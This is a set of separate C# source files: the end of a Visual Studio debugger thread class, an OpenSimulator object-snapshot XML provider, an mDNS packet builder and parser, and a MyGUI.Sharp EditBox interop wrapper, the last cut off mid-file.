if (hRes == VSConstants.S_OK && dwFields != (uint)dwFields90) {
if ((dwFields & (uint)enum_THREADPROPERTY_FIELDS100.TPF100_DISPLAY_NAME) != 0) {
// Thread display name is being requested
props[0].bstrDisplayName = Name;
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_DISPLAY_NAME;
// Give this display name a higher priority than the default (0)
// so that it will actually be displayed
props[0].DisplayNamePriority = 10;
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_DISPLAY_NAME_PRIORITY;
}
if ((dwFields & (uint)enum_THREADPROPERTY_FIELDS100.TPF100_CATEGORY) != 0) {
// Thread category is being requested
if (_debuggedThread.IsWorkerThread) {
props[0].dwThreadCategory = (uint)enum_THREADCATEGORY.THREADCATEGORY_Worker;
} else {
props[0].dwThreadCategory = (uint)enum_THREADCATEGORY.THREADCATEGORY_Main;
}
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_CATEGORY;
}
if ((dwFields & (uint)enum_THREADPROPERTY_FIELDS100.TPF100_ID) != 0) {
// Thread category is being requested
props[0].dwThreadId = _vsTid;
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_ID;
}
if ((dwFields & (uint)enum_THREADPROPERTY_FIELDS100.TPF100_AFFINITY) != 0) {
// Thread cpu affinity is being requested
props[0].AffinityMask = 0;
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_AFFINITY;
}
if ((dwFields & (uint)enum_THREADPROPERTY_FIELDS100.TPF100_PRIORITY_ID) != 0) {
// Thread display name is being requested
props[0].priorityId = 0;
props[0].dwFields |= (uint)enum_THREADPROPERTY_FIELDS100.TPF100_PRIORITY_ID;
}
}
return hRes;
}
enum enum_THREADCATEGORY {
THREADCATEGORY_Worker = 0,
THREADCATEGORY_UI = (THREADCATEGORY_Worker + 1),
THREADCATEGORY_Main = (THREADCATEGORY_UI + 1),
THREADCATEGORY_RPC = (THREADCATEGORY_Main + 1),
THREADCATEGORY_Unknown = (THREADCATEGORY_RPC + 1)
}
#endregion
#region Uncalled interface methods
// These methods are not currently called by the Visual Studio debugger, so they don't need to be implemented
int IDebugThread2.GetLogicalThread(IDebugStackFrame2 stackFrame, out IDebugLogicalThread2 logicalThread) {
Debug.Fail("This function is not called by the debugger");
logicalThread = null;
return VSConstants.E_NOTIMPL;
}
int IDebugThread2.SetThreadName(string name) {
Debug.Fail("This function is not called by the debugger");
return VSConstants.E_NOTIMPL;
}
#endregion
}
}
| |
/*
* Copyright (c) Contributors, http://opensimulator.org/
* See CONTRIBUTORS.TXT for a full list of copyright holders.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the OpenSimulator Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Xml;
using log4net;
using OpenMetaverse;
using OpenSim.Framework;
using OpenSim.Region.DataSnapshot.Interfaces;
using OpenSim.Region.Framework.Interfaces;
using OpenSim.Region.Framework.Scenes;
namespace OpenSim.Region.DataSnapshot.Providers
{
public class ObjectSnapshot : IDataSnapshotProvider
{
private Scene m_scene = null;
// private DataSnapshotManager m_parent = null;
private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);
private bool m_stale = true;
private static UUID m_DefaultImage = new UUID("89556747-24cb-43ed-920b-47caed15465f");
private static UUID m_BlankImage = new UUID("5748decc-f629-461c-9a36-a35a221fe21f");
public void Initialize(Scene scene, DataSnapshotManager parent)
{
m_scene = scene;
// m_parent = parent;
//To check for staleness, we must catch all incoming client packets.
m_scene.EventManager.OnNewClient += OnNewClient;
m_scene.EventManager.OnParcelPrimCountAdd += delegate(SceneObjectGroup obj) { this.Stale = true; };
}
public void OnNewClient(IClientAPI client)
{
//Detect object data changes by hooking into the IClientAPI.
//Very dirty, and breaks whenever someone changes the client API.
client.OnAddPrim += delegate (UUID ownerID, UUID groupID, Vector3 RayEnd, Quaternion rot,
PrimitiveBaseShape shape, byte bypassRaycast, Vector3 RayStart, UUID RayTargetID,
byte RayEndIsIntersection) { this.Stale = true; };
client.OnLinkObjects += delegate (IClientAPI remoteClient, uint parent, List<uint> children)
{ this.Stale = true; };
client.OnDelinkObjects += delegate(List<uint> primIds, IClientAPI clientApi) { this.Stale = true; };
client.OnGrabUpdate += delegate(UUID objectID, Vector3 offset, Vector3 grapPos,
IClientAPI remoteClient, List<SurfaceTouchEventArgs> surfaceArgs) { this.Stale = true; };
client.OnObjectAttach += delegate(IClientAPI remoteClient, uint objectLocalID, uint AttachmentPt,
Quaternion rot, bool silent) { this.Stale = true; };
client.OnObjectDuplicate += delegate(uint localID, Vector3 offset, uint dupeFlags, UUID AgentID,
UUID GroupID) { this.Stale = true; };
client.OnObjectDuplicateOnRay += delegate(uint localID, uint dupeFlags, UUID AgentID, UUID GroupID,
UUID RayTargetObj, Vector3 RayEnd, Vector3 RayStart, bool BypassRaycast,
bool RayEndIsIntersection, bool CopyCenters, bool CopyRotates) { this.Stale = true; };
client.OnObjectIncludeInSearch += delegate(IClientAPI remoteClient, bool IncludeInSearch, uint localID)
{ this.Stale = true; };
client.OnObjectPermissions += delegate(IClientAPI controller, UUID agentID, UUID sessionID,
byte field, uint localId, uint mask, byte set) { this.Stale = true; };
client.OnRezObject += delegate(IClientAPI remoteClient, UUID itemID, Vector3 RayEnd,
Vector3 RayStart, UUID RayTargetID, byte BypassRayCast, bool RayEndIsIntersection,
bool RezSelected,
bool RemoveItem, UUID fromTaskID) { this.Stale = true; };
}
public Scene GetParentScene
{
get { return m_scene; }
}
public XmlNode RequestSnapshotData(XmlDocument nodeFactory)
{
m_log.Debug("[DATASNAPSHOT]: Generating object data for scene " + m_scene.RegionInfo.RegionName);
XmlNode parent = nodeFactory.CreateNode(XmlNodeType.Element, "objectdata", "");
XmlNode node;
foreach (EntityBase entity in m_scene.Entities)
{
// only objects, not avatars
if (entity is SceneObjectGroup)
{
SceneObjectGroup obj = (SceneObjectGroup)entity;
// m_log.Debug("[DATASNAPSHOT]: Found object " + obj.Name + " in scene");
// libomv will complain about PrimFlags.JointWheel
// being obsolete, so we...
#pragma warning disable 0612
if ((obj.RootPart.Flags & PrimFlags.JointWheel) == PrimFlags.JointWheel)
{
SceneObjectPart m_rootPart = obj.RootPart;
if (m_rootPart != null)
{
ILandObject land = m_scene.LandChannel.GetLandObject(m_rootPart.AbsolutePosition.X, m_rootPart.AbsolutePosition.Y);
XmlNode xmlobject = nodeFactory.CreateNode(XmlNodeType.Element, "object", "");
node = nodeFactory.CreateNode(XmlNodeType.Element, "uuid", "");
node.InnerText = obj.UUID.ToString();
xmlobject.AppendChild(node);
node = nodeFactory.CreateNode(XmlNodeType.Element, "title", "");
node.InnerText = m_rootPart.Name;
xmlobject.AppendChild(node);
node = nodeFactory.CreateNode(XmlNodeType.Element, "description", "");
node.InnerText = m_rootPart.Description;
xmlobject.AppendChild(node);
node = nodeFactory.CreateNode(XmlNodeType.Element, "flags", "");
node.InnerText = String.Format("{0:x}", m_rootPart.ObjectFlags);
xmlobject.AppendChild(node);
node = nodeFactory.CreateNode(XmlNodeType.Element, "regionuuid", "");
node.InnerText = m_scene.RegionInfo.RegionSettings.RegionUUID.ToString();
xmlobject.AppendChild(node);
if (land != null && land.LandData != null)
{
node = nodeFactory.CreateNode(XmlNodeType.Element, "parceluuid", "");
node.InnerText = land.LandData.GlobalID.ToString();
xmlobject.AppendChild(node);
}
else
{
// Something is wrong with this object. Let's not list it.
m_log.WarnFormat("[DATASNAPSHOT]: Bad data for object {0} ({1}) in region {2}", obj.Name, obj.UUID, m_scene.RegionInfo.RegionName);
continue;
}
node = nodeFactory.CreateNode(XmlNodeType.Element, "location", "");
Vector3 loc = obj.AbsolutePosition;
node.InnerText = loc.X.ToString() + "/" + loc.Y.ToString() + "/" + loc.Z.ToString();
xmlobject.AppendChild(node);
string bestImage = GuessImage(obj);
if (bestImage != string.Empty)
{
node = nodeFactory.CreateNode(XmlNodeType.Element, "image", "");
node.InnerText = bestImage;
xmlobject.AppendChild(node);
}
parent.AppendChild(xmlobject);
}
}
#pragma warning disable 0612
}
}
this.Stale = false;
return parent;
}
public String Name
{
get { return "ObjectSnapshot"; }
}
public bool Stale
{
get
{
return m_stale;
}
set
{
m_stale = value;
if (m_stale)
OnStale(this);
}
}
public event ProviderStale OnStale;
/// <summary>
/// Guesses the best image, based on a simple heuristic. It guesses only for boxes.
/// We're optimizing for boxes, because those are the most common objects
/// marked "Show in search" -- boxes with content inside.For other shapes,
/// it's really hard to tell which texture should be grabbed.
/// </summary>
/// <param name="sog"></param>
/// <returns></returns>
private string GuessImage(SceneObjectGroup sog)
{
string bestguess = string.Empty;
Dictionary<UUID, int> counts = new Dictionary<UUID, int>();
PrimitiveBaseShape shape = sog.RootPart.Shape;
if (shape != null && shape.ProfileShape == ProfileShape.Square)
{
Primitive.TextureEntry textures = shape.Textures;
if (textures != null)
{
if (textures.DefaultTexture != null &&
textures.DefaultTexture.TextureID != UUID.Zero &&
textures.DefaultTexture.TextureID != m_DefaultImage &&
textures.DefaultTexture.TextureID != m_BlankImage &&
textures.DefaultTexture.RGBA.A < 50f)
{
counts[textures.DefaultTexture.TextureID] = 8;
}
if (textures.FaceTextures != null)
{
foreach (Primitive.TextureEntryFace tentry in textures.FaceTextures)
{
if (tentry != null)
{
if (tentry.TextureID != UUID.Zero && tentry.TextureID != m_DefaultImage && tentry.TextureID != m_BlankImage && tentry.RGBA.A < 50)
{
int c = 0;
counts.TryGetValue(tentry.TextureID, out c);
counts[tentry.TextureID] = c + 1;
// decrease the default texture count
if (counts.ContainsKey(textures.DefaultTexture.TextureID))
counts[textures.DefaultTexture.TextureID] = counts[textures.DefaultTexture.TextureID] - 1;
}
}
}
}
// Let's pick the most unique texture
int min = 9999;
foreach (KeyValuePair<UUID, int> kv in counts)
{
if (kv.Value < min && kv.Value >= 1)
{
bestguess = kv.Key.ToString();
min = kv.Value;
}
}
}
}
return bestguess;
}
}
}
| |
using System; // for Serializable
using System.Runtime.InteropServices; // for StructLayout
using System.Net;
using System.Net.Sockets;
using System.Collections; // for ArrayList
namespace Redgate.Net.mDNS {
class Label {
string label;
public byte
Length {
get { return (byte)label.Length; }
}
public Label( string s ) {
// check for '.'
label = s;
}
public byte[]
GetBytes() {
System.Text.ASCIIEncoding encoding = new System.Text.ASCIIEncoding();
return encoding.GetBytes( label );
}
}
class PacketBuilder {
ArrayList list = new ArrayList();
public void
Add( byte value ) {
list.Add( value );
}
public void
Add( ushort value ) {
ushort n = (ushort)System.Net.IPAddress.HostToNetworkOrder( (short)value );
list.AddRange( System.BitConverter.GetBytes(n) );
}
public void
Add( byte[] bytes ) {
list.AddRange( bytes );
}
public void
Add( Label label ) {
Add( label.Length );
Add( label.GetBytes() );
}
public void
Add( string domain ) {
char[] dots = {'.'};
string [] labels = domain.Trim(dots).Split(dots);
foreach ( string label in labels ) {
Add( new Label(label) );
}
Add( (byte)0 ); // end the name
}
public void
Add( PacketBuilder packet ) {
list.AddRange( packet.GetBytes() );
}
public byte[]
GetBytes() {
byte[] bytes = new byte[list.Count];
list.CopyTo( bytes );
return bytes;
}
}
class PacketParser {
byte[] data;
int here = 0;
int dot;
int remaining;
int end;
public PacketParser( byte[] bytes ) {
data = bytes;
end = bytes.Length;
remaining = end;
}
private void DumpPacket() {
System.Console.WriteLine( "packet dump: " );
System.Console.WriteLine( System.BitConverter.ToString(data) );
System.Console.WriteLine( "here {0} dot {1} end {2}", here, dot, end );
}
private void
forward( int n ) {
if ( remaining < n ) {
throw new System.IndexOutOfRangeException("No more data in packet");
}
here += n;
remaining -= n;
}
public byte
PopByte() {
return data[here++];
}
public ushort
PopUShort() {
ushort value = System.BitConverter.ToUInt16( data, here );
forward( 2 );
return (ushort)System.Net.IPAddress.NetworkToHostOrder( (short)value );
}
public int
PopInt() {
int value = System.BitConverter.ToInt32( data, here );
forward( 4 );
return (int)System.Net.IPAddress.NetworkToHostOrder( (int)value );
}
public byte[]
PopBytes( int count ) {
byte[] value = new byte[count];
System.Array.Copy( data, here, value, 0, count );
forward( count );
return value;
}
public string
PopString() {
int length = PopByte();
System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
if ( length > remaining ) {
System.Console.WriteLine( "PopString: length {0}, remaining {1} - truncating", length, remaining );
length = remaining;
}
string value = encoder.GetString( data, here, length );
forward( length );
return value;
}
public int
GetPointerLength() {
if ( dot > end ) {
DumpPacket();
throw new System.IndexOutOfRangeException("read past end of packet " + dot + "/" + end);
}
int length = data[dot++];
if ( (length & 0xc0) != 0xc0 ) return length;
dot = ((length & 0x3f) << 8) + data[dot];
return GetPointerLength();
}
public int
PopLabelLength() {
if ( dot != 0 ) return GetPointerLength();
int length = data[here++];
if ( (length & 0xc0) != 0xc0 ) return length;
dot = ((length & 0x3f) << 8) + data[here++];
return GetPointerLength();
}
public string
GetPointer( int length ) {
if ( length == 0 ) return null;
System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
string label = encoder.GetString( data, dot, length );
dot += length;
return label;
}
public string
PopLabel() {
int length = PopLabelLength();
if ( length == 0 ) return null;
if ( dot != 0 ) return GetPointer( length );
System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
string label = encoder.GetString( data, here, length );
forward( length );
return label;
}
public string
PopDomain() {
string domain = "";
dot = 0;
while ( true ) {
string label = null;
try {
label = PopLabel();
} catch ( System.IndexOutOfRangeException ) {
System.Console.WriteLine( "error processing " + domain );
throw;
}
if ( label == null ) break;
domain += label + ".";
}
return domain;
}
}
}
| |
/*!
@file
@author Generate utility by Albert Semenov
@date 01/2009
@module
*/
using System;
using System.Runtime.InteropServices;
namespace MyGUI.Sharp
{
public class EditBox :
TextBox
{
#region EditBox
protected override string GetWidgetType() { return "EditBox"; }
internal static BaseWidget RequestWrapEditBox(BaseWidget _parent, IntPtr _widget)
{
EditBox widget = new EditBox();
widget.WrapWidget(_parent, _widget);
return widget;
}
internal static BaseWidget RequestCreateEditBox(BaseWidget _parent, WidgetStyle _style, string _skin, IntCoord _coord, Align _align, string _layer, string _name)
{
EditBox widget = new EditBox();
widget.CreateWidgetImpl(_parent, _style, _skin, _coord, _align, _layer, _name);
return widget;
}
#endregion
//InsertPoint
#region Event EditTextChange
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBoxEvent_AdviseEditTextChange(IntPtr _native, bool _advise);
public delegate void HandleEditTextChange(
EditBox _sender);
private HandleEditTextChange mEventEditTextChange;
public event HandleEditTextChange EventEditTextChange
{
add
{
if (ExportEventEditTextChange.mDelegate == null)
{
ExportEventEditTextChange.mDelegate = new ExportEventEditTextChange.ExportHandle(OnExportEditTextChange);
ExportEventEditTextChange.ExportEditBoxEvent_DelegateEditTextChange(ExportEventEditTextChange.mDelegate);
}
if (mEventEditTextChange == null)
ExportEditBoxEvent_AdviseEditTextChange(Native, true);
mEventEditTextChange += value;
}
remove
{
mEventEditTextChange -= value;
if (mEventEditTextChange == null)
ExportEditBoxEvent_AdviseEditTextChange(Native, false);
}
}
private struct ExportEventEditTextChange
{
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
public static extern void ExportEditBoxEvent_DelegateEditTextChange(ExportHandle _delegate);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void ExportHandle(
IntPtr _sender);
public static ExportHandle mDelegate;
}
private static void OnExportEditTextChange(
IntPtr _sender)
{
EditBox sender = (EditBox)BaseWidget.GetByNative(_sender);
if (sender.mEventEditTextChange != null)
sender.mEventEditTextChange(
sender);
}
#endregion
#region Event EditSelectAccept
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBoxEvent_AdviseEditSelectAccept(IntPtr _native, bool _advise);
public delegate void HandleEditSelectAccept(
EditBox _sender);
private HandleEditSelectAccept mEventEditSelectAccept;
public event HandleEditSelectAccept EventEditSelectAccept
{
add
{
if (ExportEventEditSelectAccept.mDelegate == null)
{
ExportEventEditSelectAccept.mDelegate = new ExportEventEditSelectAccept.ExportHandle(OnExportEditSelectAccept);
ExportEventEditSelectAccept.ExportEditBoxEvent_DelegateEditSelectAccept(ExportEventEditSelectAccept.mDelegate);
}
if (mEventEditSelectAccept == null)
ExportEditBoxEvent_AdviseEditSelectAccept(Native, true);
mEventEditSelectAccept += value;
}
remove
{
mEventEditSelectAccept -= value;
if (mEventEditSelectAccept == null)
ExportEditBoxEvent_AdviseEditSelectAccept(Native, false);
}
}
private struct ExportEventEditSelectAccept
{
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
public static extern void ExportEditBoxEvent_DelegateEditSelectAccept(ExportHandle _delegate);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void ExportHandle(
IntPtr _sender);
public static ExportHandle mDelegate;
}
private static void OnExportEditSelectAccept(
IntPtr _sender)
{
EditBox sender = (EditBox)BaseWidget.GetByNative(_sender);
if (sender.mEventEditSelectAccept != null)
sender.mEventEditSelectAccept(
sender);
}
#endregion
#region Method SetPasswordChar
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetPasswordChar__char(IntPtr _native,
[MarshalAs(UnmanagedType.LPWStr)] string _char);
public void SetPasswordChar(
string _char)
{
ExportEditBox_SetPasswordChar__char(Native,
_char);
}
#endregion
#region Method EraseText
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_EraseText__start__count(IntPtr _native,
uint _start,
uint _count);
public void EraseText(
uint _start,
uint _count)
{
ExportEditBox_EraseText__start__count(Native,
_start,
_count);
}
#endregion
#region Method AddText
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_AddText__text(IntPtr _native,
[MarshalAs(UnmanagedType.LPWStr)] string _text);
public void AddText(
string _text)
{
ExportEditBox_AddText__text(Native,
_text);
}
#endregion
#region Method InsertText
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_InsertText__text__index(IntPtr _native,
[MarshalAs(UnmanagedType.LPWStr)] string _text,
uint _index);
public void InsertText(
string _text,
uint _index)
{
ExportEditBox_InsertText__text__index(Native,
_text,
_index);
}
#endregion
#region Method SetTextSelectionColour
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetTextSelectionColour__value(IntPtr _native,
[In] ref Colour _value);
public void SetTextSelectionColour(
Colour _value)
{
ExportEditBox_SetTextSelectionColour__value(Native,
ref _value);
}
#endregion
#region Method DeleteTextSelection
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_DeleteTextSelection(IntPtr _native);
public void DeleteTextSelection( )
{
ExportEditBox_DeleteTextSelection(Native);
}
#endregion
#region Method SetTextSelection
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetTextSelection__start__end(IntPtr _native,
uint _start,
uint _end);
public void SetTextSelection(
uint _start,
uint _end)
{
ExportEditBox_SetTextSelection__start__end(Native,
_start,
_end);
}
#endregion
#region Method GetTextInterval
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr ExportEditBox_GetTextInterval__start__count(IntPtr _native,
uint _start,
uint _count);
public string GetTextInterval(
uint _start,
uint _count)
{
return Marshal.PtrToStringUni(ExportEditBox_GetTextInterval__start__count(Native,
_start,
_count));
}
#endregion
#region Method SetTextIntervalColour
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetTextIntervalColour__start__count__colour(IntPtr _native,
uint _start,
uint _count,
[In] ref Colour _colour);
public void SetTextIntervalColour(
uint _start,
uint _count,
Colour _colour)
{
ExportEditBox_SetTextIntervalColour__start__count__colour(Native,
_start,
_count,
ref _colour);
}
#endregion
#region Property HScrollPosition
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetHScrollPosition(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetHScrollPosition(IntPtr _widget, uint _value);
public uint HScrollPosition
{
get { return ExportEditBox_GetHScrollPosition(Native); }
set { ExportEditBox_SetHScrollPosition(Native, value); }
}
#endregion
#region Property HScrollRange
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetHScrollRange(IntPtr _native);
public uint HScrollRange
{
get { return ExportEditBox_GetHScrollRange(Native); }
}
#endregion
#region Property IsVisibleHScroll
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_IsVisibleHScroll(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetVisibleHScroll(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool IsVisibleHScroll
{
get { return ExportEditBox_IsVisibleHScroll(Native); }
set { ExportEditBox_SetVisibleHScroll(Native, value); }
}
#endregion
#region Property VScrollPosition
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetVScrollPosition(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetVScrollPosition(IntPtr _widget, uint _value);
public uint VScrollPosition
{
get { return ExportEditBox_GetVScrollPosition(Native); }
set { ExportEditBox_SetVScrollPosition(Native, value); }
}
#endregion
#region Property VScrollRange
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetVScrollRange(IntPtr _native);
public uint VScrollRange
{
get { return ExportEditBox_GetVScrollRange(Native); }
}
#endregion
#region Property IsVisibleVScroll
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_IsVisibleVScroll(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetVisibleVScroll(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool IsVisibleVScroll
{
get { return ExportEditBox_IsVisibleVScroll(Native); }
set { ExportEditBox_SetVisibleVScroll(Native, value); }
}
#endregion
#region Property InvertSelected
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetInvertSelected(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetInvertSelected(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool InvertSelected
{
get { return ExportEditBox_GetInvertSelected(Native); }
set { ExportEditBox_SetInvertSelected(Native, value); }
}
#endregion
#region Property TabPrinting
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetTabPrinting(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetTabPrinting(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool TabPrinting
{
get { return ExportEditBox_GetTabPrinting(Native); }
set { ExportEditBox_SetTabPrinting(Native, value); }
}
#endregion
#region Property EditWordWrap
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetEditWordWrap(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetEditWordWrap(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool EditWordWrap
{
get { return ExportEditBox_GetEditWordWrap(Native); }
set { ExportEditBox_SetEditWordWrap(Native, value); }
}
#endregion
#region Property PasswordChar
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetPasswordChar(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetPasswordChar(IntPtr _widget, uint _value);
public uint PasswordChar
{
get { return ExportEditBox_GetPasswordChar(Native); }
set { ExportEditBox_SetPasswordChar(Native, value); }
}
#endregion
#region Property EditStatic
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetEditStatic(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetEditStatic(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool EditStatic
{
get { return ExportEditBox_GetEditStatic(Native); }
set { ExportEditBox_SetEditStatic(Native, value); }
}
#endregion
#region Property EditMultiLine
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetEditMultiLine(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetEditMultiLine(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool EditMultiLine
{
get { return ExportEditBox_GetEditMultiLine(Native); }
set { ExportEditBox_SetEditMultiLine(Native, value); }
}
#endregion
#region Property EditPassword
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetEditPassword(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetEditPassword(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool EditPassword
{
get { return ExportEditBox_GetEditPassword(Native); }
set { ExportEditBox_SetEditPassword(Native, value); }
}
#endregion
#region Property EditReadOnly
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetEditReadOnly(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetEditReadOnly(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool EditReadOnly
{
get { return ExportEditBox_GetEditReadOnly(Native); }
set { ExportEditBox_SetEditReadOnly(Native, value); }
}
#endregion
#region Property MaxTextLength
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetMaxTextLength(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetMaxTextLength(IntPtr _widget, uint _value);
public uint MaxTextLength
{
get { return ExportEditBox_GetMaxTextLength(Native); }
set { ExportEditBox_SetMaxTextLength(Native, value); }
}
#endregion
#region Property OverflowToTheLeft
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern bool ExportEditBox_GetOverflowToTheLeft(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetOverflowToTheLeft(IntPtr _widget, [MarshalAs(UnmanagedType.U1)] bool _value);
public bool OverflowToTheLeft
{
get { return ExportEditBox_GetOverflowToTheLeft(Native); }
set { ExportEditBox_SetOverflowToTheLeft(Native, value); }
}
#endregion
#region Property TextLength
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetTextLength(IntPtr _native);
public uint TextLength
{
get { return ExportEditBox_GetTextLength(Native); }
}
#endregion
#region Property OnlyText
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern IntPtr ExportEditBox_GetOnlyText(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetOnlyText(IntPtr _widget, [MarshalAs(UnmanagedType.LPWStr)] string _value);
public string OnlyText
{
get { return Marshal.PtrToStringUni(ExportEditBox_GetOnlyText(Native)); }
set { ExportEditBox_SetOnlyText(Native, value); }
}
#endregion
#region Property TextCursor
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern uint ExportEditBox_GetTextCursor(IntPtr _widget);
[DllImport(DllName.m_dllName, CallingConvention = CallingConvention.Cdecl)]
private static extern void ExportEditBox_SetTextCursor(IntPtr _widget, uint _value);
public uint TextCursor
{
